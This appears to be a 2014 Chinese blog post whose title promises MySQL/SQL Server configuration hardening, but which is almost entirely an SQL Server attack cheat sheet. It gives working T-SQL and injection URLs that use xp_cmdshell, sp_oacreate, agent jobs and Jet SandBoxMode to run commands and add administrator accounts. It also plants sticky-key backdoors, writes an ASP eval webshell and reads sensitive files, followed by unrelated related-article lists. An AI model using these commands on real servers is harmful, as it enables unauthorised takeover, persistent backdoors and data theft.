Database(Mysql、Sqlserver) Configuration Security Reinforcement
目录
. 引言
. Mysql
. Sqlserver
1. 引言
黑客获取了数据库的帐号密码之后,就可以通过Database Client登录数据库,利用SQL指令、数据库指令执行组件进行进一步的提权渗透操作
2. Mysql
3. Sqlserver
0x1: 指令执行加固
1. 创建系统账户
利用MSSQL的脚本命令提权,前提是我们要能够以SA或者具有SA权限的用户的身份登录进去,可以使用弱口令猜解或者利用sql注入点来运行脚本命令,添加sa账户
. 创建系统账户
HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell "net user little 432vjx%23f /add"--
HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell "net localgroup administrators little /add"--
/*
因为MSSQL的查询语句允许一条指令中包含两条的命令,所以可以利用这个sql注入漏洞来执行脚本命令 如果出现:
SQL Server 阻止了对组件 'xp_cmdshell' 的过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
则必须先开启xp_cmdshell的组件 EXEC master..xp_cmdshell 'ipconfig'
-- To allow advanced options to be changed.
EXEC sp_configure 'show advanced options', 1
GO
-- To update the currently configured value for advanced options.
RECONFIGURE
GO
-- To enable the feature.
EXEC sp_configure 'xp_cmdshell', 1
GO
-- To update the currently configured value for this feature.
RECONFIGURE
GO
*/
Relevant Link:
http://wenku.baidu.com/view/f32d873331126edb6f1a1022.html?qq-pf-to=pcqq.c2c
http://baike.baidu.com/view/3637250.htm?qq-pf-to=pcqq.c2c
http://baike.baidu.com/link?url=jAh-Wu-HPBPl6X88gNr7oKf80ilat5H_XA37jIO81MT60_HJiKsEIy3VFioX7M1HWT_Jt_O-GPygEoyob6DH6K&qq-pf-to=pcqq.c2c
http://www.51safe.net/article/Skills/mssql-injection-conmmand.htm
2. 创建数据库的登录账户(注意和系统的登录账户区分开来)
exec master.dbo.sp_addlogin little,;--
go
exec master.dbo.sp_addsrvrolemember little,sysadmin;--
go
3. 开启3389或者telnet
这里注意一下,telnet的服务名不是telnet,而是tlntsvr,我们要命令开启服务的时候要输入的是这个服务器名tlntsvr,而不是显示名telnet
//telnet
xp_servicecontrol 'start','tlntsvr' 如果开启了telnet服务之后,我们用系统账户去登入出现了下面的提示:
Failure in initializing the telnet session. Shell process may not have been laun
ched.
Telnet Server has closed the connection
则可以尝试再开启:seclogon服务
xp_servicecontrol 'start','seclogon'
可能能解决问题 //3389远程桌面的服务名是:termservice
xp_servicecontrol 'start','termservice'
4. sp_oacreate
. 创建用户
use master
go
declare @o int
exec sp_oacreate 'wscript.shell',@o out
exec sp_oamethod @o,'run',null,'cmd /c "net user little 123456 /add"' . 开启服务
use master
go
declare @o int
exec sp_oacreate 'wscript.shell',@o out
exec sp_oamethod @o,'run',null,'cmd /c "net start tlntsvr"'
//cmd命令可以任意 /*
如果出现:
SQL Server 阻止了对组件 'Ole Automation Procedures' 的 过程'sys.sp_OACreate' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'Ole Automation Procedures'。有关启用 'Ole Automation Procedures' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"
可以尝试开启 Ole Automation Procedures 组件
sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'Ole Automation Procedures', 1;
GO
RECONFIGURE;
GO
EXEC sp_configure 'Ole Automation Procedures';
GO
*/
5. scripting.filesystemobject
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\cmd.exe' ,'c:\windows\system32\sethc.exe';
declare @oo int
exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
/*
这样在3389的登入窗口处就等于布置下了一个后门,只要按5此shift键就能触发后门,而且,以这种方式登入的权限是NT系统权限,比administrator大一些
*/
6. Shell.Application
declare @o int
exec sp_oacreate 'Shell.Application', @o out
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user little /add','c:\windows\system32','',;
7. Shell.Application
. 开启SQLSERVERAGENT服务
利用JOB执行命令,有一个先决条件就是开启SQLSERVERAGENT服务
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' . 执行指令
use msdb
create table [jncsql](resulttxt nvarchar() null)
exec sp_delete_job null,'x' exec sp_add_job 'x'
exec sp_add_jobstep null,'x',null,'','cmdexec','cmd /c "net user little /add"'
exec sp_add_jobserver
null,'x',@@servername exec sp_start_job 'x';
8. SandBoxMode(沙盒模式)
在access里调用VBS的shell函数,以system权限执行任何命令
. 打开SandBoxmode
//使用这个函数之前必须把注册表里的SandBoxmode开关打开
注册表:
HKEY_LOCAL_MACHINE\SoFtWare\Micrisoft\Jet\4.0\Engine\SandBoxmode
Exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SoFtWare\Micrisoft\Jet\4.0\Engine\SandBoxmode'
默认值为2,这个人键值为0表示开启
) 修复注册表的读写
use master
go
dbcc addextendedproc ('xp_regread','xpstar.dll')
dbcc addextendedproc ('xp_regwrite','xpstar.dll') ) 修改沙盒的保护模式
EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD', . 查看'SandBoxMode'值是否已经变成0了(1或0都可以执行命令)
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode' . 最后调用沙盒模式
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=C:\windows\system32\ias\ias.mdb','select shell("net user little 123456 /add")'); . cmd.exe的权限不对,是不会有回显的
最终的提权办法就是在当前的web目录下面上传系统的ias.mdb和cmd.exe,net.exe三个文件。执行
select * from openrowset('microsoft.jet.oledb.4.0',';database=E:\web\ias.mdb','select shell("E:\web\cmd.exe /c E:\web\net.exe user user little 123456 /add")') . 可以输入一下命令来执行命令
EXEC sp_addlinkedserver 'testsql','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','c:\windows\system32\ias\ias.mdb'
EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',
EXEC master..xp_regread HKEY_LOCAL_MACHINE ,'Software\Microsoft\Jet\4.0\engines','SandBoxMode'
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user little 123456 /add")')
select * from openrowset('microsoft.jet.oledb.4.0',
';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup administrators little /add")')
/*
如果出现:
SQL Server 阻止了对组件 'Ad Hoc Distributed Queries' 的 STATEMENT'OpenRowset/OpenDatasource' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'Ad Hoc Distributed Queries'。有关启用 'Ad Hoc Distributed Queries' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"尝试:
启用Ad Hoc Distributed Queries:
exec sp_configure 'show advanced options',1
reconfigure
exec sp_configure 'Ad Hoc Distributed Queries',1
reconfigure 使用完成后,关闭Ad Hoc Distributed Queries:
exec sp_configure 'Ad Hoc Distributed Queries',0
reconfigure
exec sp_configure 'show advanced options',0
reconfigure
*/
Relevant Link:
http://security.zdnet.com.cn/security_zone/2011/0808/2051363.shtml
9. 直接备份一句话木马
exec sp_makewebtask 'WEB绝对路径/fuck.asp',' select ''<%eval request("op")%>'' ';--
//WEB与DATA在同一主机,知道WEB目录
例如:
exec sp_makewebtask 'C:\Inetpub\wwwroot\fuck.asp',' select ''<%eval request("op")%>'' ';--
/*
如果出现了:
SQL Server 阻止了对组件 'Web Assistant Procedures' 的 过程'sys.xp_makewebtask' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'Web Assistant Procedures'。有关启用 'Web Assistant Procedures' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
可以尝试
sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'Web Assistant Procedures', 1;
GO
RECONFIGURE
GO
*/
10. 操作注册表
除了xp_cmdshell外,还有一些其他的存储过程对攻击过程也是有帮助的。比如xp_regread可以操作注册表
exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\services\LanmanServer\Parameters', 'Guid'
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
11. 其他命令
. xp_servicecontrol: 允许用户启动、停止服务
exec master..xp_servicecontrol 'start', 'schedule' . exec master..xp_availablemedia: 显示机器上有用的驱动器 . exec master..xp_dirtree: 允许获得一个目录树 . exec master..xp_enumdsn: 列举服务器上的ODBC数据源 . exec master..xp_loginconfig: 获取服务器上的安全信息 . exec master..xp_makecab: 允许用户在服务器上创建一个压缩文件 . exec master..xp_ntsec_enumdomains: 列举服务器可以进入的域 . exec master..xp_terminate_process: 提供进程的进程ID,终止此进程
12.利用openrowset读取敏感数据
要完成这个攻击,有几个必要条件
. sqlserver具有操作system目录、文件的权限
. 黑客得到了sqlserver的帐号、密码
利用sqlserver的文件IO操作功能,进行二进制流的操作,将cmd.exe文件覆盖到粘滞键程序中,形成shift后门
select * from openrowset(BULK N'C:\WINDOWS\system32\cmd.exe', SINGLE_BLOB) AS Contents
select * from openrowset(BULK N'C:\secret.txt', SINGLE_CLOB) AS Contents
13. 注册表劫持粘贴键
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution
Options\sethc.EXE','Debugger','REG_SZ','C:\WINDOWS\explorer.exe';
14. sp_oacreate替换粘贴键
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
declare @oo int
exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
15. public权限提权操作
USE msdb
EXEC sp_add_job @job_name = 'GetSystemOnSQL', www.2cto.com
@enabled = ,
@description = 'This will give a low privileged user access to
xp_cmdshell',
@delete_level = EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',
@step_name = 'Exec my sql',
@subsystem = 'TSQL',
@command = 'exec master..xp_execresultset N''select ''''exec
master..xp_cmdshell "dir > c:\agent-job-results.txt"'''''',N''Master'''
EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',
@server_name = 'SERVER_NAME'
EXEC sp_start_job @job_name = 'GetSystemOnSQL'
16. sp_OACreate加载COM组件shell.user加管理员用户
DECLARE @js int
EXEC sp_OACreate 'ScriptControl',@js OUT
EXEC sp_OASetProperty @js, 'Language', 'JavaScript'
EXEC sp_OAMethod @js, 'Eval', NULL, 'var o=new ActiveXObject("Shell.Users");z=o.create("user");z.changePassword("pass","");z.setting("AccountType")=3;'
Relevant Link:
http://blog.csdn.net/it_zen/article/details/1545725
http://www.2cto.com/Article/201112/112946.html
Copyright (c) 2014 LittleHann All rights reserved
Database(Mysql、Sqlserver) Configuration Security Reinforcement的更多相关文章
- Oracle、DB2、MySql、SQLServer JDBC驱动
四种数据库JDBC驱动,还列出了连接的Class驱动名和Url Pattern,DB2包括Type 2.Type 3和Type 4三种模式.注意驱动包名称的大小写. Oralce连接驱动包名和URL ...
- Oracle、MySql、SQLServer数据分页查询
看过此博文后Oracle.MySql.SQLServer 数据分页查询,在根据公司的RegionRes表格做出了 SQLserver的分页查询语句: 别名.字段 FROM( SELECT row_nu ...
- 针对各主流数据mysql、sqlserver、oracle中文乱码问题。
针对各主流数据mysql.sqlserver.oracle当以编码格式gbk存放数据时,要注意字符串类型的字段,要采用宽字符串nvarchar存放,前提是当你的应用程序是utf8编码,而数据库是gbk ...
- SQLite与MySQL、SQLServer等异构数据库之间的数据同步
SQLite DBSync是开源嵌入式数据库SQLite的数据同步引擎,实现了SQLite与SQLite数据库之间以及SQLite与异构数据库(Oracle.MySQL.SQLServer)之间的增量 ...
- MySQL、SqlServer、Oracle 三种数据库的优缺点
MySQL.SqlServer.Oracle 三种数据库的优缺点 一.MySQL 优点: 缺点: 二.SqlServer 优点: 缺点: 三.Oracle 优点: 缺点: 一.MySQL 优点: 体积 ...
- MySQL、SqlServer、Oracle,这三种数据库的优缺点,你知道吗?
盘点MySQL.SqlServer.Oracle 三种数据库优缺点 MySQL SqlServer Oracle 一.MySQL 优 点 体积小.速度快.总体拥有成本低,开源:支持多种操作系统:是开源 ...
- spring boot 配置双数据源mysql、sqlServer
背景:原来一直都是使用mysql数据库,在application.properties 中配置数据库信息 spring.datasource.url=jdbc:mysql://xxxx/test sp ...
- Java 使用 JDBC 连接数据库的代码整合[MySql、SqlServer、Oracle]-[经过设计模式改造](2020年寒假小目标01)
日期:2020.01.08 博客期:121 星期三 今天对过去整个大二和大三上半学期用到的数据库的方法进行汇总,可以有效的使用.套用,每一个部分都有<软件设计模式>知识,上述代码满足了开闭 ...
- MySQL、SqlServer、Oracle三大主流数据库分页查询
在这里主要讲解一下MySQL.SQLServer2000(及SQLServer2005)和ORCALE三种数据库实现分页查询的方法.可能会有人说这些网上都有,但我的主要目的是把这些知识通过我实际的应用 ...
随机推荐
- 折腾了1周把程序从sqlserver迁移到oracle上了,每折腾一次需要耗费1周时间
主要花费时间的事情: 1:安装配套的服务器,安装操作系统,安装数据库,配置远程访问等等,一般会耗费1天时间,甚至2天时间,若手头安装盘不齐全,需要耗费更多时间. 2:远程传输安装文件.特别是开发环境等 ...
- Eclipse设置和必装插件
文章长期更新,主要是记录Eclipse好用的插件和规范的设置 插件篇: 1. StartExplorer. 在Eclipse内定位项目目录,和打开项目目录下的命令行,总是非常麻烦.有了这个插件以后,这 ...
- 虾皮工作室QQ群列表
各位博友: 本群不仅仅是提供好的资料,更重要是提供平台,提供解决问题的方法和思路.求人不如求己,掌握合理的方法和方式才是不断进步的根本.看我的文档,不单单是看内容,更应该从整理的方式和角度是深思,去想 ...
- Theano2.1.7-基础知识之设置的配置和编译模式
来自:http://deeplearning.net/software/theano/tutorial/modes.html Configuration Settings and Compiling ...
- 领导让我重新做一个微信H5页面!
leader:我们需要做一个微信H5页面,效果如图,功能如描述,时间越快越好. 需求是不是很简单呢?2015-11-24 12:44:00文末有最新更新 背景描述 前几天微信转发相关项目开发后,这是第 ...
- 20140207 - Java and Mac OS X Retina
在Mac下使用文件管理工具类似Total Commander的muCommander,muCommander的编写语言是Java,打开后发现Java不兼容Mac Retina. muCommander ...
- OpenFlow
What is OpenFlow? OpenFlow is an open standard that enables researchers to run experimental protocol ...
- md5加密31位
今天将其它服务器里的用户数据导入到新的系统数据库中 出现密码不匹配情况 查看原来数据库中密码得到结果位: 原服务器密码 明文 正确32位密闻 67b14728ad9902aecba32e22fa4f6 ...
- hdu5481 Desiderium
链接 Desiderium 题意 给定n条线段,从中选取若干条,共有2n种选法(因为每一条线段有两种方法:选或者不选). 每一种选法都对应一个长度,也就是所选线段的并集长度. 求这2n种选法长度之和. ...
- 使用webpack搭建vue开发环境
最近几天项目上使用了vue.js作为一个主要的开发框架,并且为了发布的方便搭配了webpack一起使用.CSS框架使用的是vue-strap(vue 对bootstrap控件做了封装)这篇文章主要总结 ...